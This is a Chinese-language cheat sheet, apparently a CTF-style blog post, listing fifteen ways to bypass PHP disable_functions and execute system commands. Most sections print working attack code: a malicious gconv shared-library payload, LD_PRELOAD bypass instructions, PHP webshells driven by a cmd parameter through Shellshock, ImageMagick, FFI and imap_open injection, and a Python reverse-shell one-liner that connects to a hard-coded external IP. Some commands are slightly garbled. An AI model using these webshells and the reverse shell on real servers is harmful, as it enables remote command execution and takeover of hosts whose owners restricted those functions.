0%

php disable_functions绕过汇总

1.黑名单爆破

介绍:利用编写的脚本爆破disable_functions未禁用的函数

  • 在php_function里更新利用函数

  • 在disable_function里放入通过phpinfo得到的禁用函数

2.利用iconv

利用条件:

  • Linux 操作系统

  • putenv设置环境变量可用

  • iconv触发或php伪协议过滤器触发

  • 存在可写的目录, 需要上传 .so 文件

原理介绍:https://blog.csdn.net/qq_42303523/article/details/117911859

利用方法:

  1. 上传gconv-modules文件至可写入目录一般为/tmp(该文件用于指定解析字符集.so文件所在位置)

    1
    2
    3
    4
    5
    //gconv-modules内容

    module PAYLOAD// INTERNAL ../../../../../../../../home/user/payload
    module INTERNAL PAYLOAD// ../../../../../../../../home/user/payload

  2. 上传payload.so至可写入目录一般为/tmp(该文件用于shell执行我们想要操作)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    //payload.so由payload.c解析而成
    //解析指令gcc payload.c -o payload.so -shared -fPIC
    //注意要在相类似的linux环境解析.so文件,避免兼容问题

    #include <stdio.h>
    #include <stdlib.h>

    void gconv() {}

    void gconv_init() {
    puts("pwned");
    system("/readflag > /tmp/ki1ro");
    exit(0);
    }
  3. 上传触发文件或直接触发(触发的语言选择多样)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    //1.编译下面的poc.c代码为.so然后上传执行触发

    #include <stdio.h>
    #include <stdlib.h>

    int main(void) {
    putenv("GCONV_PATH=.");
    FILE *fp = fopen("some_random_file", "w,ccs=payload");
    }



    //2.php代码直接触发iconv_open,eval执行下面这段代码
    putenv("GCONV_PATH=/tmp/");
    show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");或者iconv("hacker", "UTF-8", "whatever");

    //3.上传php文件触发,include包含

3.利用 LD_PRELOAD 环境变量

思路为(其实和上面的iconv利用很像):

  1. 创建一个.so文件,linux的动态链接库文件

  2. 使用putenv函数将LD_PRELOAD路径设置为我们自己创建的动态链接库文件

  3. 利用某个函数去触发该动态链接库

利用方法:

  • 上传利用.so文件到可上传目录

    1
    2
    //直接下载大佬的.so文件即可32为linux下x86,64位下载x64
    https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc_x64.so
  • 上传利用.php文件到可上传目录或者直接粘贴php代码通过eval()执行(需要先进行url编码)

    1
    2
    3
    4
    5
    6
    //直接下载即可
    https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.php
    //该php文件需要get三个参数
    //cmd参数为需要执行的命令
    //outpath为命令执行后输出的结果文件位置(一般/tmp/result)
    //sopath为上传的.so文件位置(一般/tmp/bypass_disablefunc_x64.so)
  • 执行.php文件。如果有条件就上传php文件到/var/www/html目录,不行的话就文件包含.php文件

4.利用Windows组件COM绕过

利用条件:

  1. windows下

  2. 开启com组件

利用方法:

  1. 上传php脚本文件,文件包含或者直接访问文件,cmd参数提交命令

5.利用 SplDoublyLinkedList UAC

利用条件:

  1. PHP v7.4.10及其之前版本

  2. PHP v8.0(Alpha)

原理详见:https://www.freebuf.com/articles/web/251017.html

利用方法:

  1. 上传php脚本文件,文件包含或者直接访问文件,cmd参数提交命令

  2. 直接粘贴php代码通过eval()执行(需要先进行url编码)

  3. 注意该利用脚本文件上传后只能执行一次命令,要再次执行需要重新上传

6.利用 GC UAF

利用条件

  • Linux 操作系统

  • PHP7.0 - all versions to date

  • PHP7.1 - all versions to date

  • PHP7.2 - all versions to date

  • PHP7.3 - all versions to date

EXP
关于原理原理:通过PHP垃圾收集器中堆溢出来绕过 disable_functions 并执行系统命令。

利用方法:

  1. 上传利用脚本,文件包含或者直接访问文件,cmd参数提交命令

  2. 或者直接粘贴php代码通过eval()执行(需要先进行url编码)

7.利用 Json Serializer UAF

利用条件

  • Linux 操作系统

  • PHP7.1 - all versions to date

  • PHP7.2 < 7.2.19 (released: 30 May 2019)

  • PHP7.3 < 7.3.6 (released: 30 May 2019)

利用漏洞
POC

利用方法:

  1. 上传利用脚本,文件包含或者直接访问文件,cmd参数提交命令

  2. 或者直接粘贴php代码通过eval()执行(需要先进行url编码)

8.利用Backtrace UAF

利用条件

  • Linux 操作系统

  • PHP7.0 - all versions to date

  • PHP7.1 - all versions to date

  • PHP7.2 - all versions to date

  • PHP7.3 < 7.3.15 (released 20 Feb 2020)

  • PHP7.4 < 7.4.3 (released 20 Feb 2020)

利用漏洞
EXP

利用方法:

  1. 上传利用脚本,文件包含或者直接访问文件,cmd参数提交命令

  2. 或者直接粘贴php代码通过eval()执行(需要先进行url编码)

9.利用Bash Shellshock(CVE-2014-6271)破壳漏洞

利用条件:php < 5.6.2 & bash <= 4.3(破壳)

原理介绍:Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

利用方法:

  1. 简单测试:命令行输入env x='() { :;}; echo vulnerable' bash -c "echo this is a test"如果输出了vulnerable,则说明存在bash破壳漏洞

  2. 上传exp php文件,文件包含或者访问该文件,cmd传shell指令看是否有反应

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <?php 
    function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
    $tmp = tempnam(".","data");
    putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
    // In Safe Mode, the user may only alter environment variableswhose names
    // begin with the prefixes supplied by this directive.
    // By default, users will only be able to set environment variablesthat
    // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
    // PHP will let the user modify ANY environment variable!
    //mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
    error_log('a',1);
    $output = @file_get_contents($tmp);
    @unlink($tmp);
    if($output != "") return $output;
    else return "No output, or not vuln.";
    }
    echo shellshock($_REQUEST["cmd"]);
    ?>

10.利用ImageMagick 漏洞绕过(CVE-2016–3714)

利用条件:

  • 目标主机安装了漏洞版本的imagemagick(<= 3.3.0)

  • 安装了php-imagick拓展并在php.ini中启用;

  • 编写php通过new Imagick对象的方式来处理图片等格式文件;

  • PHP >= 5.4

原理简介:存在该漏洞时处理恶意构造带有shell命令的图片时,会执行shell命令

利用方法:

  1. 上传exp php文件,文件包含或者访问该文件,cmd传shell指令看是否有反应

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php
    echo "Disable Functions: " . ini_get('disable_functions') . "\n";

    $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
    if ($command == '') {
    $command = 'id';
    }

    $exploit = <<<EOF
    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://example.com/image.jpg"|$command")'
    pop graphic-context
    EOF;

    file_put_contents("KKKK.mvg", $exploit);
    $thumb = new Imagick();
    $thumb->readImage('KKKK.mvg');
    $thumb->writeImage('KKKK.png');
    $thumb->clear();
    $thumb->destroy();
    unlink("KKKK.mvg");
    unlink("KKKK.png");
    ?>

11.利用pcntl_exec

使用条件:PHP安装并启用了pcntl插件

介绍:pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定的程序。

利用方法:

  1. 上传pass.sh到可上传目录如/tmp

    1
    2
    3
    4
    内容如下

    #!/bin/bash
    ls -l /
  2. 利用pcntl_exec()执行test.sh

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #利用方式上传这一段代码并访问执行,或者文件包含该段代码
    #或者直接eval执行pcntl_exec("/bin/bash", array("/tmp/pass.sh"));
    <?php
    if(function_exists('pcntl_exec')) {
    pcntl_exec("/bin/bash", array("/tmp/pass.sh"));
    } else {
    echo 'pcntl extension is not support!';
    }
    ?>

由于pcntl_exec()执行命令是没有回显的,所以其常与python结合来反弹shell:

1
<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

12.利用PHP7.4 FFI绕过

介绍:FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术

利用条件:

  • php版本7.4及以上

  • FFI开启,并且ffi.enable需要设置为true

利用代码示例:

1
2
3
4
5
6
7
8
9
#可用将这串代码上传到/tmp/然后文件包含或者直接上传到../html/直接访问
#返回结果将会写入/tmp/pass,并在每次读出结果后用unlink()函数删除它。
<?php
$cmd=$_GET['cmd'];
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("$cmd > /tmp/pass"); //由GET传参的任意代码执行
echo file_get_contents("/tmp/pass"); //如果file_get_contents被禁用,就放到web目录访问
@unlink("/tmp/pass");
?>

13.利用攻击PHP-FPM

利用条件:

  • Linux 操作系统

  • PHP-FPM

  • 存在可写的目录, 需要上传 .so 文件

利用方法:以后补充

14.利用 Apache Mod CGI

利用条件:

  • Apache + PHP (apache 使用 apache_mod_php)

  • Apache 开启了 cgi, rewrite

  • Web 目录给了 AllowOverride 权限

原理介绍:

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。当Apache 开启了cgi, rewrite时,我们可以利用.htaccess文件,临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置。

利用方法:遇到后补充

15.利用imap_open()绕过

利用条件:需要安装iamp扩展,命令行输入:apt-get install php-imap

原理介绍:

1
PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。

利用方法:

1
2
3
4
5
6
7
8
9
10
11
12
#上传下面的代码到服务器,文件包含或直接访问该文件
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echot".base64_encode($_GET['cmd'].">/tmp/cmd_result") . "|base64t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>